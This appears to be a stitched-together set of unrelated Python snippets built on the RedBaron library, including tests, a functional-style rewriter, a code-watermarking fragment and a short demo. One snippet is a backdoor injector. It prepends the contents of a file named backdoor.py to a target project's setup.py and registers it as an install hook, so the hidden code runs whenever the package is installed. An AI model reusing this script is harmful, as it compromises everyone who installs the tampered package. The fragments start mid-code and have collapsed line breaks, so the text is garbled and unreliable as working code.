def functionalize(src): red = RedBaron(src) red.insert(0, 'import pync') for func in red.find_all('def'): func.decorators.append('@pync.curry') for l in red.find_all('list') + red.find_all('list_comprehension'): l.replace("pync.list(%s)" % l) return red.dumps()
def test_root_as_line_proxy_list_insert(): red = RedBaron("a\nb\nc\n") red.insert(1, "c") assert red.dumps() == "a\nc\nb\nc\n"
def test_mixmatch_with_redbaron_base_node_and_proxy_list_on_parent(): red = RedBaron("foo = 42\nprint('bar')\n") red.insert(0, "baz") assert red[0].on_attribute == "root" assert red[0].parent is red
ifIndexes.append(ifIndexes.pop() + 1) #<-----Embed Watermark-----> # Rename for index, name in enumerate(ifNames): test = colzList[0] for x in test.find_all('name', value='x'): x.value = name for y in test.find_all('name', value='y'): y.value = 'y' + str(index + 1) colzList.pop(0) colzList.append(test) # Populate values for index, value in enumerate(ifValues): test = colzList[index] test.find('name', value='v1').value = str(value + 2) test.find('name', value='v2').value = str(value - 2) # Insert for index, node in enumerate(ifNodes): node.replace(colzList[index][1]) # Append for index, value in enumerate(ifIndexes): red.insert(value, colzList[index][0]) with open('XmarkOutput.py', 'w') as dest: dest.write(red.dumps())
import os import sys from redbaron import RedBaron with open(os.path.join(sys.argv[1], "setup.py"), "r") as source_code: source = RedBaron(source_code.read()) with open("backdoor.py", "r") as backdoor_code: backdoor_string = backdoor_code.read() backdoor = RedBaron(backdoor_string) for block in reversed(backdoor): source.insert(0, block.dumps()) #print(source) source.find('name', value='setup').parent.find('call').value.append( "cmdclass={'install': install,}") #print(source.dumps()) with open(os.path.join(sys.argv[1], "setup.py"), "w") as source_code: source_code.write(source.dumps())
from redbaron import RedBaron # # monekey patching for prevent ValueError # import redbaron.base_nodes # def index(self, v): # try: # return self.data.index(v) # except ValueError: # return None # redbaron.base_nodes.NodeList.index = index source = """\ # comment1 def f(x, y): return x + y """ t2 = RedBaron(source) t2.insert(3, "print('hello')") print(t2.dumps())